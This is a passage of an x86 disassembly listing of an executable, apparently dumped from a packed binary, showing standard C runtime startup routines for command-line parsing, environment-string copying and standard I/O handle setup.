push ecx
call sub_4150C0
add esp, 10h
mov edx, [ebp+var_C]
mov [edx], eax
mov eax, [ebp+var_C]
cmp dword ptr [eax], 0
jnz short loc_427CDA
push 9
call sub_41AC70
add esp, 4
loc_427CDA: ; CODE XREF: sub_427BE0+EEj
mov ecx, [ebp+var_4]
push ecx
mov edx, [ebp+var_C]
mov eax, [edx]
push eax
call sub_418870
add esp, 8
mov ecx, [ebp+var_C]
add ecx, 4
mov [ebp+var_C], ecx
loc_427CF5: ; CODE XREF: sub_427BE0+CCj
jmp short loc_427C7E
; ---------------------------------------------------------------------------
loc_427CF7: ; CODE XREF: sub_427BE0+AFj
push 2
mov edx, dword_4DDFD0
push edx
call sub_415C60
add esp, 8
mov dword_4DDFD0, 0
mov eax, [ebp+var_C]
mov dword ptr [eax], 0
mov dword_4DF688, 1
mov esp, ebp
pop ebp
retn
sub_427BE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427D30 proc near ; CODE XREF: sub_41AB00+C8p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 14h
cmp dword_4DF68C, 0
jnz short loc_427D44
call sub_4222D0
loc_427D44: ; CODE XREF: sub_427D30+Dj
push 104h
push offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
push 0
call dword_4E0334 ; GetModuleFileNameA
mov off_4DDFB0, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
mov eax, dword_4DF684
movsx ecx, byte ptr [eax]
test ecx, ecx
jnz short loc_427D77
mov edx, off_4DDFB0
mov [ebp+var_14], edx
jmp short loc_427D7F
; ---------------------------------------------------------------------------
loc_427D77: ; CODE XREF: sub_427D30+3Aj
mov eax, dword_4DF684
mov [ebp+var_14], eax
loc_427D7F: ; CODE XREF: sub_427D30+45j
mov ecx, [ebp+var_14]
mov [ebp+var_10], ecx
lea edx, [ebp+var_4]
push edx
lea eax, [ebp+var_C]
push eax
push 0
push 0
mov ecx, [ebp+var_10]
push ecx
call sub_427E10
add esp, 14h
push 80h
push offset dword_4353C4
push 2
mov edx, [ebp+var_C]
mov eax, [ebp+var_4]
lea ecx, [eax+edx*4]
push ecx
call sub_4150C0
add esp, 10h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_427DCE
push 8
call sub_41AC70
add esp, 4
loc_427DCE: ; CODE XREF: sub_427D30+92j
lea edx, [ebp+var_4]
push edx
lea eax, [ebp+var_C]
push eax
mov ecx, [ebp+var_C]
mov edx, [ebp+var_8]
lea eax, [edx+ecx*4]
push eax
mov ecx, [ebp+var_8]
push ecx
mov edx, [ebp+var_10]
push edx
call sub_427E10
add esp, 14h
mov eax, [ebp+var_C]
sub eax, 1
mov dword_4DDF94, eax
mov ecx, [ebp+var_8]
mov dword_4DDF98, ecx
mov esp, ebp
pop ebp
retn
sub_427D30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427E10 proc near ; CODE XREF: sub_427D30+65p
; sub_427D30+B8p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_10]
mov dword ptr [eax], 0
mov ecx, [ebp+arg_C]
mov dword ptr [ecx], 1
mov edx, [ebp+arg_0]
mov [ebp+var_4], edx
cmp [ebp+arg_4], 0
jz short loc_427E45
mov eax, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov [eax], ecx
mov edx, [ebp+arg_4]
add edx, 4
mov [ebp+arg_4], edx
loc_427E45: ; CODE XREF: sub_427E10+22j
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 22h
jnz loc_427F1D
loc_427E54: ; CODE XREF: sub_427E10:loc_427EDDj
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 22h
jz short loc_427EE2
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_427EE2
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
xor eax, eax
mov al, byte_4DE541[edx]
and eax, 4
test eax, eax
jz short loc_427EB7
mov ecx, [ebp+arg_10]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_10]
mov [eax], edx
cmp [ebp+arg_8], 0
jz short loc_427EB7
mov ecx, [ebp+arg_8]
mov edx, [ebp+var_4]
mov al, [edx]
mov [ecx], al
mov ecx, [ebp+arg_8]
add ecx, 1
mov [ebp+arg_8], ecx
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_427EB7: ; CODE XREF: sub_427E10+76j
; sub_427E10+89j
mov eax, [ebp+arg_10]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_10]
mov [edx], ecx
cmp [ebp+arg_8], 0
jz short loc_427EDD
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_8]
add eax, 1
mov [ebp+arg_8], eax
loc_427EDD: ; CODE XREF: sub_427E10+B8j
jmp loc_427E54
; ---------------------------------------------------------------------------
loc_427EE2: ; CODE XREF: sub_427E10+56j
; sub_427E10+60j
mov ecx, [ebp+arg_10]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_10]
mov [eax], edx
cmp [ebp+arg_8], 0
jz short loc_427F04
mov ecx, [ebp+arg_8]
mov byte ptr [ecx], 0
mov edx, [ebp+arg_8]
add edx, 1
mov [ebp+arg_8], edx
loc_427F04: ; CODE XREF: sub_427E10+E3j
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 22h
jnz short loc_427F18
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_427F18: ; CODE XREF: sub_427E10+FDj
jmp loc_427FEC
; ---------------------------------------------------------------------------
loc_427F1D: ; CODE XREF: sub_427E10+3Ej
; sub_427E10+1B1j
mov eax, [ebp+arg_10]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_10]
mov [edx], ecx
cmp [ebp+arg_8], 0
jz short loc_427F43
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_8]
add eax, 1
mov [ebp+arg_8], eax
loc_427F43: ; CODE XREF: sub_427E10+11Ej
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov byte ptr [ebp+var_C], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
mov ecx, [ebp+var_C]
and ecx, 0FFh
xor edx, edx
mov dl, byte_4DE541[ecx]
and edx, 4
test edx, edx
jz short loc_427F9B
mov eax, [ebp+arg_10]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_10]
mov [edx], ecx
cmp [ebp+arg_8], 0
jz short loc_427F92
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_8]
add eax, 1
mov [ebp+arg_8], eax
loc_427F92: ; CODE XREF: sub_427E10+16Dj
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_427F9B: ; CODE XREF: sub_427E10+15Aj
mov edx, [ebp+var_C]
and edx, 0FFh
cmp edx, 20h
jz short loc_427FC7
mov eax, [ebp+var_C]
and eax, 0FFh
test eax, eax
jz short loc_427FC7
mov ecx, [ebp+var_C]
and ecx, 0FFh
cmp ecx, 9
jnz loc_427F1D
loc_427FC7: ; CODE XREF: sub_427E10+197j
; sub_427E10+1A3j
mov edx, [ebp+var_C]
and edx, 0FFh
test edx, edx
jnz short loc_427FDF
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
jmp short loc_427FEC
; ---------------------------------------------------------------------------
loc_427FDF: ; CODE XREF: sub_427E10+1C2j
cmp [ebp+arg_8], 0
jz short loc_427FEC
mov ecx, [ebp+arg_8]
mov byte ptr [ecx-1], 0
loc_427FEC: ; CODE XREF: sub_427E10:loc_427F18j
; sub_427E10+1CDj ...
mov [ebp+var_14], 0
loc_427FF3: ; CODE XREF: sub_427E10+3F6j
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_42801E
loc_427FFD: ; CODE XREF: sub_427E10+20Cj
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 20h
jz short loc_428013
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 9
jnz short loc_42801E
loc_428013: ; CODE XREF: sub_427E10+1F6j
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
jmp short loc_427FFD
; ---------------------------------------------------------------------------
loc_42801E: ; CODE XREF: sub_427E10+1EBj
; sub_427E10+201j
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
test ecx, ecx
jnz short loc_42802D
jmp loc_42820B
; ---------------------------------------------------------------------------
loc_42802D: ; CODE XREF: sub_427E10+216j
cmp [ebp+arg_4], 0
jz short loc_428044
mov edx, [ebp+arg_4]
mov eax, [ebp+arg_8]
mov [edx], eax
mov ecx, [ebp+arg_4]
add ecx, 4
mov [ebp+arg_4], ecx
loc_428044: ; CODE XREF: sub_427E10+221j
mov edx, [ebp+arg_C]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_C]
mov [ecx], eax
loc_428051: ; CODE XREF: sub_427E10+3CFj
mov [ebp+var_8], 1
mov [ebp+var_10], 0
loc_42805F: ; CODE XREF: sub_427E10+26Cj
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
cmp eax, 5Ch
jnz short loc_42807E
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_10]
add edx, 1
mov [ebp+var_10], edx
jmp short loc_42805F
; ---------------------------------------------------------------------------
loc_42807E: ; CODE XREF: sub_427E10+258j
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 22h
jnz short loc_4280DA
mov eax, [ebp+var_10]
xor edx, edx
mov ecx, 2
div ecx
test edx, edx
jnz short loc_4280D2
cmp [ebp+var_14], 0
jz short loc_4280BF
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx+1]
cmp eax, 22h
jnz short loc_4280B6
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
jmp short loc_4280BD
; ---------------------------------------------------------------------------
loc_4280B6: ; CODE XREF: sub_427E10+299j
mov [ebp+var_8], 0
loc_4280BD: ; CODE XREF: sub_427E10+2A4j
jmp short loc_4280C6
; ---------------------------------------------------------------------------
loc_4280BF: ; CODE XREF: sub_427E10+28Dj
mov [ebp+var_8], 0
loc_4280C6: ; CODE XREF: sub_427E10:loc_4280BDj
xor edx, edx
cmp [ebp+var_14], 0
setz dl
mov [ebp+var_14], edx
loc_4280D2: ; CODE XREF: sub_427E10+287j
mov eax, [ebp+var_10]
shr eax, 1
mov [ebp+var_10], eax
loc_4280DA: ; CODE XREF: sub_427E10+277j
; sub_427E10+2FCj
mov ecx, [ebp+var_10]
mov edx, [ebp+var_10]
sub edx, 1
mov [ebp+var_10], edx
test ecx, ecx
jz short loc_42810E
cmp [ebp+arg_8], 0
jz short loc_4280FF
mov eax, [ebp+arg_8]
mov byte ptr [eax], 5Ch
mov ecx, [ebp+arg_8]
add ecx, 1
mov [ebp+arg_8], ecx
loc_4280FF: ; CODE XREF: sub_427E10+2DEj
mov edx, [ebp+arg_10]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_10]
mov [ecx], eax
jmp short loc_4280DA
; ---------------------------------------------------------------------------
loc_42810E: ; CODE XREF: sub_427E10+2D8j
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_428134
cmp [ebp+var_14], 0
jnz short loc_428139
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 20h
jz short loc_428134
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 9
jnz short loc_428139
loc_428134: ; CODE XREF: sub_427E10+306j
; sub_427E10+317j
jmp loc_4281E4
; ---------------------------------------------------------------------------
loc_428139: ; CODE XREF: sub_427E10+30Cj
; sub_427E10+322j
cmp [ebp+var_8], 0
jz loc_4281D6
cmp [ebp+arg_8], 0
jz short loc_42819D
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
xor ecx, ecx
mov cl, byte_4DE541[eax]
and ecx, 4
test ecx, ecx
jz short loc_428188
mov edx, [ebp+arg_8]
mov eax, [ebp+var_4]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+arg_8]
add edx, 1
mov [ebp+arg_8], edx
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
mov ecx, [ebp+arg_10]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_10]
mov [eax], edx
loc_428188: ; CODE XREF: sub_427E10+34Dj
mov ecx, [ebp+arg_8]
mov edx, [ebp+var_4]
mov al, [edx]
mov [ecx], al
mov ecx, [ebp+arg_8]
add ecx, 1
mov [ebp+arg_8], ecx
jmp short loc_4281C9
; ---------------------------------------------------------------------------
loc_42819D: ; CODE XREF: sub_427E10+337j
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
xor ecx, ecx
mov cl, byte_4DE541[eax]
and ecx, 4
test ecx, ecx
jz short loc_4281C9
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+arg_10]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_10]
mov [edx], ecx
loc_4281C9: ; CODE XREF: sub_427E10+38Bj
; sub_427E10+3A1j
mov eax, [ebp+arg_10]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_10]
mov [edx], ecx
loc_4281D6: ; CODE XREF: sub_427E10+32Dj
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
jmp loc_428051
; ---------------------------------------------------------------------------
loc_4281E4: ; CODE XREF: sub_427E10:loc_428134j
cmp [ebp+arg_8], 0
jz short loc_4281F9
mov ecx, [ebp+arg_8]
mov byte ptr [ecx], 0
mov edx, [ebp+arg_8]
add edx, 1
mov [ebp+arg_8], edx
loc_4281F9: ; CODE XREF: sub_427E10+3D8j
mov eax, [ebp+arg_10]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_10]
mov [edx], ecx
jmp loc_427FF3
; ---------------------------------------------------------------------------
loc_42820B: ; CODE XREF: sub_427E10+218j
cmp [ebp+arg_4], 0
jz short loc_428223
mov eax, [ebp+arg_4]
mov dword ptr [eax], 0
mov ecx, [ebp+arg_4]
add ecx, 4
mov [ebp+arg_4], ecx
loc_428223: ; CODE XREF: sub_427E10+3FFj
mov edx, [ebp+arg_C]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_C]
mov [ecx], eax
mov esp, ebp
pop ebp
retn
sub_427E10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428240 proc near ; CODE XREF: sub_41AB00+BEp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 18h
mov [ebp+var_14], 0
mov [ebp+var_18], 0
cmp dword_4DE194, 0
jnz short loc_42829A
call dword_4E031C ; GetEnvironmentStringsW
mov [ebp+var_14], eax
cmp [ebp+var_14], 0
jz short loc_428278
mov dword_4DE194, 1
jmp short loc_42829A
; ---------------------------------------------------------------------------
loc_428278: ; CODE XREF: sub_428240+2Aj
call dword_4E0320 ; GetEnvironmentStringsA
mov [ebp+var_18], eax
cmp [ebp+var_18], 0
jz short loc_428293
mov dword_4DE194, 2
jmp short loc_42829A
; ---------------------------------------------------------------------------
loc_428293: ; CODE XREF: sub_428240+45j
xor eax, eax
jmp loc_428455
; ---------------------------------------------------------------------------
loc_42829A: ; CODE XREF: sub_428240+1Bj
; sub_428240+36j ...
cmp dword_4DE194, 1
jnz loc_42839E
cmp [ebp+var_14], 0
jnz short loc_4282C3
call dword_4E031C ; GetEnvironmentStringsW
mov [ebp+var_14], eax
cmp [ebp+var_14], 0
jnz short loc_4282C3
xor eax, eax
jmp loc_428455
; ---------------------------------------------------------------------------
loc_4282C3: ; CODE XREF: sub_428240+6Bj
; sub_428240+7Aj
mov eax, [ebp+var_14]
mov [ebp+var_8], eax
loc_4282C9: ; CODE XREF: sub_428240:loc_4282F3j
mov ecx, [ebp+var_8]
xor edx, edx
mov dx, [ecx]
test edx, edx
jz short loc_4282F5
mov eax, [ebp+var_8]
add eax, 2
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
xor edx, edx
mov dx, [ecx]
test edx, edx
jnz short loc_4282F3
mov eax, [ebp+var_8]
add eax, 2
mov [ebp+var_8], eax
loc_4282F3: ; CODE XREF: sub_428240+A8j
jmp short loc_4282C9
; ---------------------------------------------------------------------------
loc_4282F5: ; CODE XREF: sub_428240+93j
mov ecx, [ebp+var_8]
sub ecx, [ebp+var_14]
sar ecx, 1
add ecx, 1
mov [ebp+var_4], ecx
push 0
push 0
push 0
push 0
mov edx, [ebp+var_4]
push edx
mov eax, [ebp+var_14]
push eax
push 0
push 0
call dword_4E0424 ; WideCharToMultiByte
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jz short loc_428344
push 64h
push offset dword_4353D0
push 2
mov ecx, [ebp+var_10]
push ecx
call sub_4150C0
add esp, 10h
mov [ebp+var_18], eax
cmp [ebp+var_18], 0
jnz short loc_428355
loc_428344: ; CODE XREF: sub_428240+E4j
mov edx, [ebp+var_14]
push edx
call dword_4E0324 ; FreeEnvironmentStringsW
xor eax, eax
jmp loc_428455
; ---------------------------------------------------------------------------
loc_428355: ; CODE XREF: sub_428240+102j
push 0
push 0
mov eax, [ebp+var_10]
push eax
mov ecx, [ebp+var_18]
push ecx
mov edx, [ebp+var_4]
push edx
mov eax, [ebp+var_14]
push eax
push 0
push 0
call dword_4E0424 ; WideCharToMultiByte
test eax, eax
jnz short loc_42838C
push 2
mov ecx, [ebp+var_18]
push ecx
call sub_415C60
add esp, 8
mov [ebp+var_18], 0
loc_42838C: ; CODE XREF: sub_428240+135j
mov edx, [ebp+var_14]
push edx
call dword_4E0324 ; FreeEnvironmentStringsW
mov eax, [ebp+var_18]
jmp loc_428455
; ---------------------------------------------------------------------------
loc_42839E: ; CODE XREF: sub_428240+61j
cmp dword_4DE194, 2
jnz loc_428453
cmp [ebp+var_18], 0
jnz short loc_4283C7
call dword_4E0320 ; GetEnvironmentStringsA
mov [ebp+var_18], eax
cmp [ebp+var_18], 0
jnz short loc_4283C7
xor eax, eax
jmp loc_428455
; ---------------------------------------------------------------------------
loc_4283C7: ; CODE XREF: sub_428240+16Fj
; sub_428240+17Ej
mov eax, [ebp+var_18]
mov [ebp+var_C], eax
loc_4283CD: ; CODE XREF: sub_428240:loc_4283F3j
mov ecx, [ebp+var_C]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_4283F5
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+var_C]
movsx edx, byte ptr [ecx]
test edx, edx
jnz short loc_4283F3
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
loc_4283F3: ; CODE XREF: sub_428240+1A8j
jmp short loc_4283CD
; ---------------------------------------------------------------------------
loc_4283F5: ; CODE XREF: sub_428240+195j
mov ecx, [ebp+var_C]
sub ecx, [ebp+var_18]
add ecx, 1
mov [ebp+var_10], ecx
push 8Fh
push offset dword_4353D0
push 2
mov edx, [ebp+var_10]
push edx
call sub_4150C0
add esp, 10h
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_428430
mov eax, [ebp+var_18]
push eax
call dword_4E04D0 ; FreeEnvironmentStringsA
xor eax, eax
jmp short loc_428455
; ---------------------------------------------------------------------------
loc_428430: ; CODE XREF: sub_428240+1E0j
mov ecx, [ebp+var_10]
push ecx
mov edx, [ebp+var_18]
push edx
mov eax, [ebp+var_C]
push eax
call sub_419330
add esp, 0Ch
mov ecx, [ebp+var_18]
push ecx
call dword_4E04D0 ; FreeEnvironmentStringsA
mov eax, [ebp+var_C]
jmp short loc_428455
; ---------------------------------------------------------------------------
loc_428453: ; CODE XREF: sub_428240+165j
xor eax, eax
loc_428455: ; CODE XREF: sub_428240+55j
; sub_428240+7Ej ...
mov esp, ebp
pop ebp
retn
sub_428240 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428460 proc near ; CODE XREF: sub_41AB00+AEp
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = byte ptr -48h
var_16 = dword ptr -16h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 6Ch
push 81h
push offset dword_4353D8
push 2
push 480h
call sub_4150C0
add esp, 10h
mov [ebp+var_50], eax
cmp [ebp+var_50], 0
jnz short loc_428492
push 1Bh
call sub_41AC70
add esp, 4
loc_428492: ; CODE XREF: sub_428460+26j
mov eax, [ebp+var_50]
mov dword_4DE320, eax
mov dword_4DE420, 20h
jmp short loc_4284AF
; ---------------------------------------------------------------------------
loc_4284A6: ; CODE XREF: sub_428460+81j
mov ecx, [ebp+var_50]
add ecx, 24h
mov [ebp+var_50], ecx
loc_4284AF: ; CODE XREF: sub_428460+44j
mov edx, dword_4DE320
add edx, 480h
cmp [ebp+var_50], edx
jnb short loc_4284E3
mov eax, [ebp+var_50]
mov byte ptr [eax+4], 0
mov ecx, [ebp+var_50]
mov dword ptr [ecx], 0FFFFFFFFh
mov edx, [ebp+var_50]
mov byte ptr [edx+5], 0Ah
mov eax, [ebp+var_50]
mov dword ptr [eax+8], 0
jmp short loc_4284A6
; ---------------------------------------------------------------------------
loc_4284E3: ; CODE XREF: sub_428460+5Ej
lea ecx, [ebp+var_48]
push ecx
call dword_4E0458 ; GetStartupInfoA
mov edx, [ebp+var_16]
and edx, 0FFFFh
test edx, edx
jz loc_428685
cmp [ebp+var_16+2], 0
jz loc_428685
mov eax, [ebp+var_16+2]
mov ecx, [eax]
mov [ebp+var_64], ecx
mov edx, [ebp+var_16+2]
add edx, 4
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
add eax, [ebp+var_64]
mov [ebp+var_60], eax
cmp [ebp+var_64], 800h
jge short loc_428533
mov ecx, [ebp+var_64]
mov [ebp+var_68], ecx
jmp short loc_42853A
; ---------------------------------------------------------------------------
loc_428533: ; CODE XREF: sub_428460+C9j
mov [ebp+var_68], 800h
loc_42853A: ; CODE XREF: sub_428460+D1j
mov edx, [ebp+var_68]
mov [ebp+var_64], edx
mov [ebp+var_5C], 1
jmp short loc_428552
; ---------------------------------------------------------------------------
loc_428549: ; CODE XREF: sub_428460:loc_4285EDj
mov eax, [ebp+var_5C]
add eax, 1
mov [ebp+var_5C], eax
loc_428552: ; CODE XREF: sub_428460+E7j
mov ecx, dword_4DE420
cmp ecx, [ebp+var_64]
jge loc_4285F2
push 0B6h
push offset dword_4353D8
push 2
push 480h
call sub_4150C0
add esp, 10h
mov [ebp+var_50], eax
cmp [ebp+var_50], 0
jnz short loc_42858E
mov edx, dword_4DE420
mov [ebp+var_64], edx
jmp short loc_4285F2
; ---------------------------------------------------------------------------
loc_42858E: ; CODE XREF: sub_428460+121j
mov eax, [ebp+var_5C]
mov ecx, [ebp+var_50]
mov dword_4DE320[eax*4], ecx
mov edx, dword_4DE420
add edx, 20h
mov dword_4DE420, edx
jmp short loc_4285B5
; ---------------------------------------------------------------------------
loc_4285AC: ; CODE XREF: sub_428460+18Bj
mov eax, [ebp+var_50]
add eax, 24h
mov [ebp+var_50], eax
loc_4285B5: ; CODE XREF: sub_428460+14Aj
mov ecx, [ebp+var_5C]
mov edx, dword_4DE320[ecx*4]
add edx, 480h
cmp [ebp+var_50], edx
jnb short loc_4285ED
mov eax, [ebp+var_50]
mov byte ptr [eax+4], 0
mov ecx, [ebp+var_50]
mov dword ptr [ecx], 0FFFFFFFFh
mov edx, [ebp+var_50]
mov byte ptr [edx+5], 0Ah
mov eax, [ebp+var_50]
mov dword ptr [eax+8], 0
jmp short loc_4285AC
; ---------------------------------------------------------------------------
loc_4285ED: ; CODE XREF: sub_428460+168j
jmp loc_428549
; ---------------------------------------------------------------------------
loc_4285F2: ; CODE XREF: sub_428460+FBj
; sub_428460+12Cj
mov [ebp+var_58], 0
jmp short loc_428616
; ---------------------------------------------------------------------------
loc_4285FB: ; CODE XREF: sub_428460:loc_428680j
mov ecx, [ebp+var_58]
add ecx, 1
mov [ebp+var_58], ecx
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_60]
add eax, 4
mov [ebp+var_60], eax
loc_428616: ; CODE XREF: sub_428460+199j
mov ecx, [ebp+var_58]
cmp ecx, [ebp+var_64]
jge short loc_428685
mov edx, [ebp+var_60]
cmp dword ptr [edx], 0FFFFFFFFh
jz short loc_428680
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
and ecx, 1
test ecx, ecx
jz short loc_428680
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
and eax, 8
test eax, eax
jnz short loc_428650
mov ecx, [ebp+var_60]
mov edx, [ecx]
push edx
call dword_4E0314 ; GetFileType
test eax, eax
jz short loc_428680
loc_428650: ; CODE XREF: sub_428460+1DEj
mov eax, [ebp+var_58]
sar eax, 5
mov ecx, [ebp+var_58]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4DE320[eax*4]
add edx, ecx
mov [ebp+var_50], edx
mov eax, [ebp+var_50]
mov ecx, [ebp+var_60]
mov edx, [ecx]
mov [eax], edx
mov eax, [ebp+var_50]
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov [eax+4], dl
loc_428680: ; CODE XREF: sub_428460+1C4j
; sub_428460+1D1j ...
jmp loc_4285FB
; ---------------------------------------------------------------------------
loc_428685: ; CODE XREF: sub_428460+98j
; sub_428460+A2j ...
mov [ebp+var_58], 0
jmp short loc_428697
; ---------------------------------------------------------------------------
loc_42868E: ; CODE XREF: sub_428460:loc_42876Fj
mov eax, [ebp+var_58]
add eax, 1
mov [ebp+var_58], eax
loc_428697: ; CODE XREF: sub_428460+22Cj
cmp [ebp+var_58], 3
jge loc_428774
mov ecx, [ebp+var_58]
imul ecx, 24h
mov edx, dword_4DE320
add edx, ecx
mov [ebp+var_50], edx
mov eax, [ebp+var_50]
cmp dword ptr [eax], 0FFFFFFFFh
jnz loc_428760
mov ecx, [ebp+var_50]
mov byte ptr [ecx+4], 81h
cmp [ebp+var_58], 0
jnz short loc_4286D4
mov [ebp+var_6C], 0FFFFFFF6h
jmp short loc_4286E4
; ---------------------------------------------------------------------------
loc_4286D4: ; CODE XREF: sub_428460+269j
mov edx, [ebp+var_58]
sub edx, 1
neg edx
sbb edx, edx
add edx, 0FFFFFFF5h
mov [ebp+var_6C], edx
loc_4286E4: ; CODE XREF: sub_428460+272j
mov eax, [ebp+var_6C]
push eax
call dword_4E0468 ; GetStdHandle
mov [ebp+var_4C], eax
cmp [ebp+var_4C], 0FFFFFFFFh
jz short loc_42874F
mov ecx, [ebp+var_4C]
push ecx
call dword_4E0314 ; GetFileType
mov [ebp+var_54], eax
cmp [ebp+var_54], 0
jz short loc_42874F
mov edx, [ebp+var_50]
mov eax, [ebp+var_4C]
mov [edx], eax
mov ecx, [ebp+var_54]
and ecx, 0FFh
cmp ecx, 2
jnz short loc_428730
mov edx, [ebp+var_50]
mov al, [edx+4]
or al, 40h
mov ecx, [ebp+var_50]
mov [ecx+4], al
jmp short loc_42874D
; ---------------------------------------------------------------------------
loc_428730: ; CODE XREF: sub_428460+2BEj
mov edx, [ebp+var_54]
and edx, 0FFh
cmp edx, 3
jnz short loc_42874D
mov eax, [ebp+var_50]
mov cl, [eax+4]
or cl, 8
mov edx, [ebp+var_50]
mov [edx+4], cl
loc_42874D: ; CODE XREF: sub_428460+2CEj
; sub_428460+2DCj
jmp short loc_42875E
; ---------------------------------------------------------------------------
loc_42874F: ; CODE XREF: sub_428460+295j
; sub_428460+2A8j
mov eax, [ebp+var_50]
mov cl, [eax+4]
or cl, 40h
mov edx, [ebp+var_50]
mov [edx+4], cl
loc_42875E: ; CODE XREF: sub_428460:loc_42874Dj
jmp short loc_42876F
; ---------------------------------------------------------------------------
loc_428760: ; CODE XREF: sub_428460+258j
mov eax, [ebp+var_50]
mov cl, [eax+4]
or cl, 80h
mov edx, [ebp+var_50]
mov [edx+4], cl
loc_42876F: ; CODE XREF: sub_428460:loc_42875Ej
jmp loc_42868E
; ---------------------------------------------------------------------------
loc_428774: ; CODE XREF: sub_428460+23Bj
mov eax, dword_4DE420
push eax
call dword_4E0318 ; SetHandleCount
mov esp, ebp
pop ebp
retn
sub_428460 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
mov dword ptr [ebp-8], 0
jmp short loc_4287A8
; ---------------------------------------------------------------------------
loc_42879F: ; CODE XREF: .data:loc_428822j
mov eax, [ebp-8]
add eax, 1
